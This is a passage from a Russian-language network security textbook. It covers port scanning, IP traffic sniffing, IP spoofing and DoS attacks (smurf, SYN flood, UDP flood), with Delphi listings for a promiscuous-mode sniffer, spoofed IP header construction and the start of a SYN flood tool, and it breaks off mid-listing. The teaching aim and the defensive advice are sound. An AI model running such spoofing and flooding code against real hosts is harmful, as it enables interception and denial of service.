Работа приложения начинается с указания в соответствующих полях IP-адреса сканируемого хоста, номеров начального и конечно-го портов, а также выбора режима сканирования. Затем после нажа-тия кнопки «Сканировать» активизируется обработчик TForm1.btnScanClick соответствующего события, в котором вызыва-ется метод TCPScaner( ), если выбрано TCP-сканирование, либо ме-тод UDPScaner( ), если выбрано UDP-сканирование.

Функция TCPScaner( ) работает по следующему алгоритму: в цик-ле, перебирающем заданный диапазон портов, создается сокет, за-полняется структура адреса сокета TSockAddr, в которую переда-ются IP-адрес удалённого хоста и номер порта, и вызывается функция connect( ). Если соединение прошло успешно, то сообща-ется, что порт открыт, и производится разрыв соединения путем вызова функции closesocket ( ).


50

При создании сокета с помощью параметра type задается тип со-кета. Обычно используются следующие значения сокетов:

SOCK_STREAM – обеспечивает надежную передачу данных в потоке (TCP);

SOCK_DGRAM – обеспечивает передачу датаграмм (UDP); SOCK_RAW – предоставляет возможность работать непо-

средственно на уровне протокола IP. UDP-сканирование реализуется несколько сложнее. Сначала соз-дается сокет типа SOCK_DGRAM. Затем устанавливается тайм-аут для функции recvfrom( ). Далее в цикле заполняется структура адреса сокета, с помощью функции sendto( ) на сканируемый порт высылается тестовая датаграмма и вызывается функция recvfrom( ). Поскольку для простоты используется блокирующий сокет, при отправке UDP-датаграммы на открытый порт в ответ ничего не будет получено. Следовательно, приложение могло бы «завис-нуть» на вызове функции recvfrom( ). Использование же тайм-аута приводит к выдаче ошибки WSAETIMEDOUT (функция возвра-тит значение SOCKET_ERROR, а код ошибки получается вызо-вом WSAGetLastError()), и работа приложения будет продол-жена. Собственно выход по тайм-ауту и будет служить сигналом того, что порт открыт. В программе не учитывается ситуация, ко-гда датаграмма теряется во время пересылки по сети.

Важно отметить, что при заполнении структуры адреса сокета IP-адрес и номер порта необходимо преобразовать в сетевой порядок байт – старшими либо младшими байтами вперед в зависимости от архитектуры процессора [9].

3.2. Прослушивание IP-трафика Атака заключается в перехвате сетевого потока и его анализе. В этом случае злоумышленник может получить массу полезной ин-формации: имена пользователей и пароли (многие приложения передают их в открытом виде), адреса компьютеров в сети, в том числе адреса серверов и запущенные на них приложения, адрес маршрутизатора, собственно передаваемые данные, которые мо-гут быть конфиденциальными (например, тексты электронных писем) и т. п.


51

Говоря о прослушивании сетевого трафика, в большинстве случа-ев подразумевают локальную сеть, так как прослушивание всего трафика глобальной сети возможно лишь в «узких» местах (на-пример, на маршрутизаторах), к которым получить доступ зло-умышленнику гораздо труднее. Поэтому обсуждаемый в данном разделе материал в основном ориентирован на прослушивание IP-трафика в локальных сетях.

Прослушивание локальной сети Ethernet является тривиальной задачей: для этого нужно просто перевести интерфейс (сетевую пла-ту) в режим прослушивания (promiscuous mode) для приема всех па-кетов. При передаче информации по локальной сети ее получает каж-дое устройство этой сети. По умолчанию сетевая плата компьютера принимает только то, что в соответствии с МАС-адресом предназна-чено именно для нее. Однако перевод платы в указанный выше ре-жим заставляет ее принимать все кадры, вне зависимости от того, кому они адресованы.

Среди других сетевых технологий, легко уязвимых с точки зрения прослушивания, можно указать сети FDDI и радиосети (например, Radio Еthernet). Несколько сложнее для злоумышленника извлечь трафик из телефонных выделенных и коммутируемых линий, главным образом, из-за сложности физического доступа при под-ключении к таким линиям. Однако следует помнить, что зло-умышленник может оккупировать промежуточный маршрутиза-тор и таким образом получить доступ ко всему транзитному тра-фику, независимо от используемых технологий на уровне доступа к сети.

Ограничить область прослушивания в локальной сети можно разбиением сети на сегменты с помощью коммутаторов. В этом слу-чае злоумышленник, не прибегая к активным действиям, может пере-хватить только кадры, получаемые или отправляемые узлами сегмен-та, к которому он подключен.

Снифферы Программы, которые позволяют перехватывать сетевой трафик,

называются снифферами (от английского sniffer – тот, кто нюхает, вдыхает). Основу многих снифферов составляют сетевые драйверы и библиотеки (libpcap, libnet), которые осуществляют большую часть работы. Де-ло в том, что для переключения сетевой платы в permis-cuous mode требуется низкоуровневое программирование ее портов.


52

В многозадачной ОС такую работу могут выполнить только драйве-ры уровня ядра системы (kernel-mode drivers). До недавнего времени создание программ-снифферов было уделом узкоквалифицированных специалистов. С появлением Windows 2000 создать программу для прослушивания ло-кальной сети или ее сегмента стало существенно проще с помощью языков высокоуровневого программирования.

Ниже приводится описание программы-сниффера, подготовлен-ной средствами Delphi 7, на основе которой иллюстрируются не-которые принципы создания подобного рода программ. На рисун-ке 3.3 показана главная форма разработанной программы.

Процесс прослушивания запускается и останавливается с помо-щью кнопок «Старт» и «Стоп». Результаты работы программы ото-бражаются в двух полях, расположенных на форме. В первое поле (компонент TListView) помещается список извлекаемых из сети па-кетов. Во втором поле (компонент TTreeView) можно просмотреть структуру IP-, TCP-, UDP-заголовков пакета, выбранного с помощью средств указания в первом поле.

Рис. 3.3

Для работы программного модуля требуется Winsock API версии не ниже второй. Интерфейсный модуль Winsock2.pas не входит в стандартную поставку Delphi, поэтому в программе используется его


53

аналог IdWinSock2.pas, имеющийся в компонентах Indy в палитре VCL Delphi.

Извлечение IP-пакетов из сетевого потока в программе выполня-ется на основе специально разработанного класса Tsniffer, в котором используется несколько не упоминавшихся ранее функций API соке-тов.

• function recv(s: TSocket; var Buf; len, flags: Integer): Integer; Принимает данные из ориентированного на соединение сокета. Возвращаемое значение: число принятых байтов в случае успеха или SOCKET_ERROR при ошибке.

• function bind(const s: TSocket; const addr: PSockAddr; const namelen: Integer): Integer;

“Привязывает” адрес интерфейса и номер порта к прослуши-вающему сокету. Обычно в качестве адреса задаётся константа IN-ADDR_ANY. Это означает, что будет принято соединение, запраши-ваемое по любому интерфейсу. Возвращаемое значение: 0 – нор-мально, SOCKET_ERROR - ошибка.

• function ioctlsocket(const s: TSocket; const cmd: DWORD; var arg: u_long ): Integer;

Управляет параметрами сокета, относящегося к обработке опе-раций сетевого ввода/вывода. Именно в этой функции с помощью параметра-команды SIO_RCVALL включается режим прослушива-ния. Возвращаемое значение: 0 – нормально, SOCKET_ERROR - ошибка.

Полный текст класса TSniffer приведен в листинге 3.2. Листинг 3.2 unit UnSnif; interface uses Classes, IdWinSock2; const // Флаг для установки сокета в режим захвата // пакетов SIO_RCVALL = $98000001; // Размер буфера для чтения данных из сети MAX_PKT_SIZE = $10000; // Максимальный размер кадра в сетях Ethernet


54

MTU = 1536; // Максимальное число хранящихся в памяти // захваченных пакетов MAX_BUF = 1000; type //Буфер для чтения данных из сети TPacketBuffer=array[0..MAX_PKT_SIZE-1] of Byte; //Массив для хранения одного IP пакета TPacket=array[0..MTU-1] of Byte; //Массив для хранения захваченных пакетов TSnifPackets=array[1..MAX_BUF] of TPacket; // Проседура для обработчика события TNewPacketEvent = procedure (Sender:TObject; NewPacket:TPacket) of object; TSniffer = class(TThread) private // Дескриптор сокета sh: TSocket; // Ссылка на обработчик события FOnNewPacket: TNewPacketEvent; Packet: TPacket; procedure NewPacket; protected procedure Execute; override; public pkStr: string; constructor Create; destructor Destroy; override; procedure StartSnif; procedure StopSnif; property OnNewPacket: TNewPacketEvent read FOnNewPacket write FOnNewPacket; end; implementation uses SysUtils, UnMain; var // Сведения о реализации WinSock WSAData: TWSADATA;


55

// Инициализация библиотеки сокетов constructor TSniffer.Create; begin inherited Create(True); WSAStartup($0002, WSAData); end; // Остановка прослушивания и выгрузка библиотеки // сокетов destructor TSniffer.Destroy; var str: string; begin if not Suspended then StopSnif; WSACleanup; inherited Destroy; end; // Захват пакетов в буфер чтения, разбор их на // отдельные пакеты и вызов обработчика // события OnNewPacket() procedure TSniffer.Execute; var cnt, curCnt: Integer; hdr: PIPHeader; buffer: TPacketBuffer; size: Word; begin while not Terminated do begin cnt := recv(sh, buffer, Sizeof(buffer), 0); curCnt := 0; while CurCnt<cnt do begin if cnt - CurCnt >= sizeof(T_IP_Header) then begin hdr := @buffer[curCnt]; size := ntohs(hdr^.ip_totallength); Move(buffer[curCnt], Packet, size); curCnt := CurCnt + size; synchronize(NewPacket); end; end; end;


56

end; // Метод диспетчеризации события OnNewPacket() procedure TSniffer.NewPacket; begin if Assigned(OnNewPacket) then OnNewPacket(Self, Packet); end; // Запуск процесса прослушивания procedure TSniffer.StartSnif; var sa: PSockAddr;flag: Cardinal;eth: PHOSTENT; begin // Создание сокета sh := Socket(AF_INET, SOCK_RAW, IPPROTO_IP); new(sa); // Заполнение структуры адреса сокета sa^.sin_family := AF_INET; sa^.sin_addr.S_addr := htonl(INADDR_ANY); // Привязка сокета к IP-адресу bind(sh, sa, sizeof(sa^)); flag := 1; // Выполнение команды SIO_RCVALL ioctlsocket(sh, SIO_RCVALL, flag); Resume; end; // Остановка процесса прослушивания procedure TSniffer.StopSnif; begin Suspend; CloseSocket(sh); end; end.

В листинге 3.3 приведен текст главного модуля программы-сниффера. В этом модуле реализована следующая логика. При запус-ке приложения сетевая плата переводится в режим прослушивания. Все получаемые пакеты записываются в специально отведенный для них буфер. При этом из заголовка пакета извлекаются значения полей


57

IP-адресов и протоколов верхнего уровня и отображаются в левом поле формы (компонент TListBox).

Структура приведенной программы позволяет производить более глубокую обработку получаемых пакетов. Для этого в листинге про-граммы предусмотрена возможность использования специальной процедуры DecodeIPPacket( ), код которой не приводится. В ней можно самостоятельно реализовать дополнительную обработку паке-тов. Возможный формат представления такой обработки показан на рис. 3.3 в правом поле формы (компонент TTreeView). Листинг 3.3 unit UnMain; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, UnSnif, ComCtrls; type // Заголовок IP-пакета TIPHeader = record ip_verlen: Byte; // Версия и длина заголов-ка ip_tos: Byte; // Тип службы ip_len: Word; // Общая длина пакета ip_id: Word; // Идентификатор пакета ip_offset: Word; // Смещение фрагмента ip_ttl: Byte; // Время существования ip_protocol: Byte; // Протокол верхнего уров-ня ip_checksum: Word; // Контрольная сумма ip_src_addr: LongWord;// Адрес источника ip_dst_addr: LongWord;// Адрес назначения end; PIPHeader = ^TIPHeader; TForm1 = class(TForm) btnStop: TButton; btnStart: TButton; // Список захваченных IP-пакетов


58

lvSnifPacks: TListView; // Структура IP-пакета (и вложенных данных) tvDecPack: TTreeView; procedure btnStartClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure NewPacket(Sender: TObject; Packet:TPacket); procedure btnStopClick(Sender: TObject); procedure DecodeIPPacket(Packet:TPacket); procedure lvSnifPacksSelectItem(Sender: TObject; Item: TListItem; Selected: Boolean); function GetProtoStr(p:byte):string; end; var Form1: TForm1; implementation uses IdWinSock2; var Sniffer: TSniffer; // Буфер для хранения захваченных пакетов SnifPackets: TSnifPackets; PackCnt: Integer; // Счетчик захваченных пакетов {$R *.dfm} // Запуск процесса прослушивания procedure TForm1.btnStartClick(Sender: TObject); begin PackCnt:=0; lvSnifPacks.Clear; Sniffer.StartSnif; end; // Обработчик события OnShow() главной формы // приложения procedure TForm1.FormShow(Sender: TObject); begin // Создание экземпляра класса TSniffer


59

Sniffer:=TSniffer.Create; // Инициализация обработчика события // OnNewPacket() класса TSniffer Sniffer.OnNewPacket:=NewPacket; end; // Обработчик события OnClose() procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin Sniffer.Free; end; // Обработчик события OnNewPacket() класса TSnif-fer // Новый пакет добавляется в буфер // В списке захваченных пакетов появляется строка с // записью о пакете procedure TForm1.NewPacket(Sender: TObject; Packet: TPacket); var Hdr: PIPHeader; // Указатель на IP-заголовок Size: Word; ListItem: TListItem; SrcIP, DstIP: string; Proto: Byte; begin Hdr:=@Packet; // Извлечение из заголовка IP-пакета информации // об адресах источника и назначения и о // протоколе верхнего уровня SrcIP:=inet_ntoa(TInAddr(Hdr^. ip_src_addr)); DstIP:=inet_ntoa(TInAddr(Hdr^. ip_dst_addr)); Proto:=Hdr^. ip_protocol; inc(PackCnt); if PackCnt>MAX_BUF then begin PackCnt:=1; lvSnifPacks.Clear; end;


60

SnifPackets[PackCnt]:=Packet; ListItem:=lvSnifPacks.Items.Add; ListItem.Caption:=inttostr(PackCnt); ListItem.SubItems.Add(SrcIP+'=>'+DstIP); ListItem.SubItems.Add(GetProtoStr(Proto)); Size:=ntohs(Hdr^.ip_len); ListItem.SubItems.Add(inttostr(Size)); end; // Остановка процесса прослушивания procedure TForm1.btnStopClick(Sender: TObject); begin Snif.StopSnif; end; // Разбор выбранного пользователем IP-пакета procedure TForm1.DecodeIPPacket(Packet: TPacket); begin // Структура пакета записывается в дерево // TTreeView справа на главной форме. // Из пакета выделяется очередное поле и // информация о нем записывается в // соответствующий узел дерева end; // Обработчик события OnSelectItem() списка // захваченных IP-пакетов procedure TForm1.lvSnifPacksSelectItem(Sender: TObject; Item: TListItem; Selected: Boolean); var np: Integer; begin if Selected then begin np:=strtoint(Item.Caption); // Вызов процедуры разбора выбранного пакета DecodeIPPacket(SnifPackets[np]); end; end; // Получение строки с названием протокола function TForm1.GetProtoStr(p: Byte): string; begin


61

case p of IPPROTO_TCP: Result:='TCP'; IPPROTO_UDP: Result:='UDP'; IPPROTO_ICMP: Result:='ICMP'; else Result:='???'; end; end; end.

Таким образом, злоумышленник, подключаясь к сетевым сегмен-там и прослушивая их с помощью снифферов, может определять адреса работающих в сети компьютеров и запущенных на них UDP- или TCP-сервисов. Такая форма прослушивания сети явля-ется более скрытной, нежели рассылка опрашивающих сообще-ний.

Вопросы к разделу 3 1. При каких условиях атака типа прослушивание/сканирование

портов приобретает характер активной атаки? 2. Каким образом используются средства протокола ICMP для

выполнения сканирования портов? 3. С помощью листинга 3.3 поясните структуру IP-пакета. 4. Почему предпочтительная область применения снифферов

ограничивается, в основном, локальными сетями?


62

4. АКТИВНЫЕ АТАКИ В СЕТЯХ TCP/IP

4.1. Подмена адреса источника Подмену адреса источника в TCP/IP сетях называют IP Spoofing

(от англ. spoof – обман). Целью данной атаки является узурпировать IP-адрес определенной машины. Это действие обычно применяется как элемент в составе более сложных атак на удаленный хост, что позволяет злоумышленнику либо скрыть источник атаки (использу-ется в атаках типа “отказ в обслуживании”), либо извлечь пользу из доверительных связей двух машин (“имперсонация”) [7].

Общая схема атаки типа IP Spoofing иллюстрируется на рисунке 4.1. На этом рисунке показано, что атакующий компьютер X в паке-тах, направляемых на атакуемый хост A, подменяет поле адреса от-правителя, указывая в нем адрес некоторого (возможно, вымышлен-ного) компьютера B.

В

А

В ХАтакующий

хост


200. 70. 152. 14

224. 33. 15. 7

193. 225. 10. 2Сеть

Рис. 4.1

Для программной реализации данного вида атаки необходимо формировать заголовки IP-пакетов и посылать IP-пакеты атакуемому хосту. До появления ОС Windows 2000 у разработчиков приложений


63

не было высокоуровневых средств формирования заголовков IP-пакетов. В Windows 2000 такая возможность появилась благодаря обновленной реализации API сокетов за счет использования функ-ции setsockopt( ), в которой параметр-команда IP_HDRINCL указы-вает на то, что IP-заголовок будет формироваться в приложении пользователя.

Используя интерфейс API сокетов, можно предложить следую-щий порядок действий для программной реализации атаки типа IP Spoofing:

1) формирование заголовка IP-пакета; 2) сборка самого IP-пакета (заголовок + данные); 3) инициализация сокета; 4) установка режима работы сокета (функция setsockopt( ) с па-

раметром-командой IP_HDRINCL); 5) отправка пакета атакуемому хосту. Ниже обсуждаются основные моменты, связанные с разработкой

средствами Delphi 7 программы, работающей по этому алгоритму. В листинге 4.1 приведен текст процедуры, которая формирует

заголовок IP-пакета. В этом листинге используется класс TSYNFlood, полное описание которого приведено ниже в разделе 4.3 при обсуж-дении программного приложения для реализации DoS-атаки типа SYN flood. Листинг 4.1 procedure TSYNFlood.CreateIPHeader(ASize: Word); var IPVersion: Word; // Версия протокола IP IPSize: Word; // Длина IP-заголовка begin IPVersion := 4; // Номер версии протокола IP IPSize := SizeOf(FIPHeader) div 4; with FIPHeader do begin ip_verlen := (IPVersion shl 4) or IPSize; ip_tos := 0; ip_len := htons(ASize); ip_id := 0; ip_offset := htons(ip_offset or (1 shl 14)); ip_ttl := 128; // Время жизни IP-пакета ip_protocol := IPPROTO_TCP;


64

ip_checksum := 0; ip_src_addr := FSrcIP; ip_dst_addr := FDestIP; ip_checksum := Crc16(FIPHeader, SizeOf(FIPHeader)); end; end;

Через аргумент ASize в процедуру передается размер IP-пакета. Переменные FDestIP и FSrcIP содержат соответственно IP-адрес ата-куемого хоста и сфальсифицированный IP-адрес атакующего хоста. FIPHeader является структурой, определяющей IP-заголовок.

Сборка всего пакета выполняется путем добавления к заголовку поля данных, в которое обычно помещается TCP-сегмент или UDP-датаграмма. В листинг 4.2 приведен текст функции, формирующей IP-пакет.

Листинг 4.2 procedure TSYNFlood.CreatePacket(var AData; ASize: Word); var Ptr: Pointer; begin FLength := SizeOf(FIPHeader) + ASize; CreateIPHeader(FLength); Ptr := @FBuffer; Move(FIPHeader, Ptr^, SizeOf(FIPHeader)); Ptr := Pointer(Integer(Ptr) + Si-zeOf(FIPHeader)); Move(TBuffer(AData), Ptr^, ASize); end;

В параметре AData в эту процедуру передаются данные, размер которых определен параметром ASize. Переменные FBuffer и FLength определяют буфер, в который будет записан сформированный пакет.

Далее создается сокет, через который пакет отправляется ата-куемому хосту. Участок программного кода, с помощью которого могут быть выполнены соответствующие действия, приведён в лис-тинге 4.3.


65

Листинг 4.3 WSAStartup(WINSOCK_VERSION, WSAData); Sock := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP); Opt := 1; SetSockOpt(Sock, IPPROTO_IP, IP_HDRINCL, @Opt, SizeOf(Opt)); SentBytes := SendTo(Sock, FBuffer, FSize, NO_FLAGS, FRemote, SizeOf(FRemote)); CloseSocket(Sock); WSACleanup;

Полностью программный код для реализации атаки IP Spoofing представлен ниже в разделе 4.3, где IP Spoofing выступает как звено при осуществлении DoS-атаки SYN flood.

Атаки типа «подмена адреса источника» являются проблемой всей архитектуры IPv4. Используемый в этой архитектуре базовый протокол TCP/IP фактически основан на аутентификации по адресу, поэтому он не способен противостоять атакам типа IP Spoofing. Ре-шение рассматриваемой проблемы дает применение в IPv4 дополни-тельных средств безопасности (например, IPSec и SSL) либо переход к безопасным протоколам типа IPv6.

4.2. Отказ в обслуживании Атаки типа «отказ в обслуживании» (DoS – Denial of Service) яв-

ляются довольно распространенными и несложными в исполнении. Целью атаки DoS является приведение атакуемого узла или сети в такое состояние, когда передача данных другому узлу (или передача данных вообще) становится невозможна или крайне затруднена. Вследствие этого пользователи сетевых приложений, работающих на атакуемом узле, не могут быть обслужены — отсюда название этого типа атак.

DoS-атаки можно условно разделить на три группы: атаки большим числом формально корректных, но, возможно,

сфальсифицированных пакетов, направленные на истощение ресур-сов узла или сети;

атаки специально сконструированными пакетами, вызываю-щие общий сбой системы из-за ошибок в программах;


66

атаки сфальсифицированными пакетами, вызывающими из-менения в конфигурации или состоянии системы, что приводит к не-возможности передачи данных, сбросу соединения или резкому сни-жению его эффективности.

Из всего многообразия DoS-атак ниже обсуждаются принципы организации некоторых наиболее распространенных видов таких атак – smurf, SYN flood и UDP flood. Вопросы программной реализа-ции одной из них ( SYN flood ) рассматриваются в разделе 4.3.

Smurf Атака smurf состоит в генерации шквала ICMP Echo-ответов, на-

правляемых на атакуемый узел. Для создания шквала злоумышлен-ник направляет несколько сфальсифицированных Echo-запросов от имени атакуемого на широковещательные адреса нескольких сетей, которые выступят в роли усилителей. Потенциально большое число узлов, находящихся в сетях-усилителях и поддерживающих обработ-ку широковещательных Echo-запросов, одновременно отправляет ответы на атакуемый узел. В результате атаки сеть, в которой нахо-дится атакуемый хост, сам атакуемый узел, а также сети-усилители могут быть временно заблокированы шквалом ответных сообщений. Более того, если атакуемая организация оплачивает услуги провайде-ра Internet пропорционально полученному трафику, ее расходы могут существенно возрасти.

Для атакуемого узла и его сети не существует адекватных спосо-бов защиты от этой атаки. Очевидно, что блокирование ICMP-сообщений маршрутизатором на входе в атакуемую сеть не является удовлетворительным решением проблемы, поскольку при этом канал, соединяющий организацию с провайдером Internet, остается подвер-женным атаке. Между тем именно этот канал, как правило, является наиболее узким местом при работе организации с Internet. И посколь-ку ICMP-сообщения доставляются провайдером на маршрутизатор организации, образованный ими трафик подлежит оплате.

Атаку smurf можно обнаружить путем анализа трафика на маршрутизаторе или в сети. Признаком атаки может являться полная загрузка внешнего канала и сбои в работе хостов внутри сети. При обнаружении атаки следует определить адреса отправи-телей сообщений Echo Reply (это сети-усилители), установить в регистратуре Internet их административную принадлежность и об-ратиться к сетевым администраторам с просьбой принять меры защиты для усилителей. Администратор атакуемой сети также


67

должен обратиться к своему провайдеру с извещением об атаке. Провайдер, в свою очередь, может заблокировать передачу сооб-щений Echo Reply в канал атакуемой организации.

Для устранения атак smurf потенциальные усилители и админи-страторы сетей, в которых может находиться злоумышленник, долж-ны быть готовы предпринять защитные меры:

запрет на маршрутизацию датаграмм с широковещательным адресом назначения между сетью организации и Internet;

запрет на обработку узлами Echo-запросов, направленных по широковещательному адресу;

запрет на маршрутизацию датаграмм, направленных из внут-ренней сети (сети организации) в Internet, но имеющих внешний ад-рес отправителя.

Таким образом, каждая сеть может оказаться в любой из трех ролей: сети злоумышленника, сети атакуемого или усилителя. По-этому, принимая меры по защите других сетей, следует надеяться, что администраторы этих сетей достаточно квалифицированы и так-же принимают адекватные меры.

SYN flood Распространенная атака SYN flood состоит в посылке злоумыш-

ленником SYN-сегментов TCP на атакуемый узел в количестве боль-шем, чем тот может обработать одновременно (это число обычно не-велико – несколько десятков соединений).

При получении каждого SYN-сегмента модуль TCP выделяет определенные ресурсы для обслуживания создаваемого соединения и отправляет в сеть свой сегмент SYN+ACK. Ответа на него он никогда не получит, поскольку атака основана на подмене адреса источника (чтобы обеспечить скрытность и не затруднять себя обработкой по игнорированию ответных SYN-сегментов). Злоумышленник может посылать свои SYN-сегменты от имени несуществующего (или вы-ключенного) отправителя или нескольких случайно выбранных не-существующих отправителей. Через некоторое время (обычно это несколько минут) модуль TCP ликвидирует так и не открытое соеди-нение. Но если злоумышленник одновременно сгенерирует большое число SYN-сегментов, то он заполнит все ресурсы, выделенные для обслуживания открываемых соединений, и модуль TCP не сможет обрабатывать новые SYN-сегменты, пока не освободится от запросов злоумышленника. Постоянно посылая новые запросы, злоумышлен-


68

ник может продолжительно удерживать атакуемый хост в блокиро-ванном состоянии.

Чтобы снять действие атаки, злоумышленник посылает серию сегментов с флагом RST, которые ликвидируют полуоткрытые со-единения и освобождают ресурсы атакуемого узла.

Целью атаки SYN flood является приведение сервиса, запущен-ного на атакуемом узле в состояние, когда тот не сможет принимать запросы на открытие соединений. Однако некоторые недостаточно корректно спроектированные системы в результате атаки не только перестают открывать новые, но и не могут поддерживать уже уста-новленные соединения, а в худшем случае – зависают.

Полной защиты от атаки типа SYN flood не существует. Чтобы уменьшить подверженность узла атаке администратор должен ис-пользовать программное обеспечение, позволяющее установить мак-симальное число открываемых соединений, а также список разре-шенных клиентов (если это возможно). При этом должны быть от-крыты только необходимые порты, остальные сервисы следует отключить. Операционная система также должна иметь устойчивость к SYN flood – при проведении атаки не должно возникать отказа в обслуживании пользователей и приложений, не имеющих отношения к атакуемым сервисам.

Один из эффективных способов защиты от такой атаки состоит в переносе средств противодействия на маршрутизаторы, которые лучше подготовлены к этому. Подобный подход может быть реали-зован, в частности, на основе маршрутизаторов Cisco, которые пред-лагают соответствующие специальные средства ( например, TCP Intercept [7] ).

UDP flood Атака UDP flood состоит в затоплении атакуемой сети шквалом

UDP-сообщений. Для генерации шквала злоумышленник использует сервисы UDP, посылающие собственное сообщение в ответ на любое сообщение. Примеры таких сервисов: echo (порт 7) и chargen (порт 19). Для организации атаки злоумышленник от имени узла А (порт отправителя - 7) посылает сообщение узлу В (порт получателя - 19). Узел В отвечает сообщением на порт 7 узла А, который возвращает сообщение на порт 19 узла В, и так далее до бесконечности (на самом деле, естественно, до тех пор, пока сообщение не потеряется в сети). Интенсивный UDP-трафик затрудняет работу узлов А и В и может создать затор в сети.


69

UDP-сервис echo может быть также использован для выполнения атаки fraggle. Эта атака полностью аналогична smurf, однако менее популярна из-за меньшей эффективности.

Для защиты от атак типа UDP flood следует отключить на узлах сети все неиспользуемые UDP-сервисы. Фильтр на маршрутизаторе-шлюзе должен блокировать все UDP-сообщения, кроме тех, что сле-дуют на разрешенные порты (например, порт 53 – DNS, порт 123 – NTP).

Развитие DoS-атак основано на использовании промежуточных систем для реализации атак, связанных с генерацией направленного шквала пакетов (типа smurf). Такие атаки называются распределен-ными DoS – DDoS (Distributed DoS). Для их реализации злоумыш-ленниками создаются программы-демоны, захватывающие промежу-точные системы и впоследствии координирующие создание направ-ленных на атакуемый узел шквалов пакетов – ICMP Echo, UDP, TCP SYN. Захват систем производится путем использования ошибок в программах различных сетевых сервисов.

4.3. Программная реализация атаки типа SYN flood Работа приложения, осуществляющего DoS-атаку SYN flood,

может быть организована по следующей алгоритмической схеме: 1) формирование TCP-сегмента (в котором флаг SYN поднят); 2) формирование IP-пакета (в котором указывается сфальсифи-

цированный IP-адрес источника и адрес атакуемого хоста); 3) отправка пакета атакуемому хосту. Ниже рассматривается реализация такого приложения средст-

вами Delphi 7 в ОС Windows 2000. Главная форма приложения пред-ставлена на рис. 4.2.

Рис. 4.2.


70

В поле “IP источника” указывается сфальсифицированный IP-адрес атакующего хоста, а в поле “Порт источника” – порт, который, вообще говоря, может быть произвольным. Соответственно в поля “IP получателя” и “Порт получателя” заносятся IP-адрес атакуемого хоста и номер атакуемого порта. Кнопки “Старт” и “Стоп” запускают и останавливают работу приложения.

В листинге 4.4 приводится текст главного модуля приложения.

Листинг 4.4 unit UnMain; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdWinSock2; type TForm1 = class(TForm) // Компонент для ввода IP-адреса источника edtSrcIP: TEdit; // Компонент для ввода IP-адреса назначения edtDestIP: TEdit; // Компонент для ввода порта источника edtSrcPort: TEdit; // Компонент для ввода порта назначения edtDestPort: TEdit; // Кнопка активации процесса атаки btnStart: TButton; // Кнопка остановки процесса атаки btnStop: TButton; procedure btnStartClick(Sender: TObject); procedure btnStopClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); end; var Form1: TForm1; implementation uses UnSYNFlood;


71

var SYNFlood: TSYNFlood; WSAData : TWSADATA; // Запуск процесса атаки procedure TForm1.btnStartClick(Sender: TObject); begin // Создание экземпляра класса TSYNFlood SYNFlood := TSYNFlood.Create(edtSrcIP.Text, edtDestIP.Text, StrToInt(edtSrcPort.Text), StrToInt(edtDestPort.Text)); btnStart.Enabled:=False; btnStop.Enabled:=True; end; // Остановка процесса атаки procedure TForm1.btnStopClick(Sender: TObject); begin SYNFlood.Free; btnStart.Enabled:=True; btnStop.Enabled:=False; end; // Обработчик события OnCreate() главной формы // приложения procedure TForm1.FormCreate(Sender: TObject); begin WSAStartup($0002, WSAData); end; // Обработчик события OnDestroy () главной формы // приложения procedure TForm1.FormDestroy(Sender: TObject); begin WSACleanup; end; end.

Главный модуль программы фактически определяет пользова-тельский интерфейс, а вся обработка, связанная с формированием IP-пакетов и отправкой их атакуемому хосту, выполняется на основе


72

специально разработанного класса TSYNFlood, текст которого при-водится в листинге 4.5.

В TCP-сегментах, формируемых программой, содержатся только TCP-заголовки ввиду отсутствия пользовательских данных. Для фор-мирования полей контрольной суммы TCP-сегментов и IP-пакетов в листинге 4.5 приводятся тексты соответствующих функций, реали-зующих алгоритм CRC-16.

Формирование поля контрольной суммы TCP-сегмента имеет особенность, определяемую стандартом TCP. Для вычисления кон-трольной суммы TCP дописывает псевдозаголовок к формируемому сегменту и добавляет в конец октет из нулей для дополнения сооб-щения до числа бит, кратного шестнадцати. Октет из нулей, исполь-зуемый для дополнения, и псевдозаголовок не передаются по сети.

Вычисленная таким образом контрольная сумма TCP-сегмента учитывает не только содержимое самого TCP-сегмента, но и допол-нительную информацию из псевдозаголовка. Такой подход позволяет передающей и приемной стороне организовать однозначную иденти-фикацию TCP-соединений.

Листинг 4.5 unit UnSYNFlood; interface uses Classes, IdWinSock2, Windows, UnNetHeaders; type // Заголовок IP-пакета TIPHeader = record // Структура заголовка IP-пакета приведена в // листинге 3.3 end; // Заголовок TCP-сегмента TTCPHeader = record tcp_sport: Word; // Порт источника tcp_dport: Word; // Порт назначения tcp_seq_num: LongWord; // Номер в последо- // вательности tcp_ack_seq_num: LongWord; // Номер подтвер-жде-


73

// ния tcp_offset: Byte; // Смещение данных tcp_flags: Byte; // Флаги tcp_window: Word; // Размер окна tcp_checksum: Word; // Контрольная сум-ма tcp_urg_pointer: Word; // Указатель end; // Псевдозаголовок TCP TPseudoHdr = record ph_ip_src: LongWord; // IP-адрес источника ph_ip_dst: LongWord; // IP-адрес назначения ph_zero: Byte; // Ноль ph_protocol: Byte; // Идентификатор протоко-ла ph_length: Word; // Длина TCP-сегмента end; // Буфер для хранения IP-пакета TBuffer = array[0..1499] of Byte; TSYNFlood = class(TThread) private // Дескриптор сокета FSocket: TSocket; // IP-адреса источника и назначения FSrcIP: LongWord; FDestIP: LongWord; // Порты источника и назначения FSrcPort: Word; FDestPort: Word; // Структура IP-заголовка FIPHeader: TIPHeader; // Структура TCP-заголовка FTCPHeader: TTCPHeader; // Структура псевдозаголовка TCP FPseudoHdr: TPseudoHdr; // Буффер FBuffer: TBuffer; // Длина буффера


74

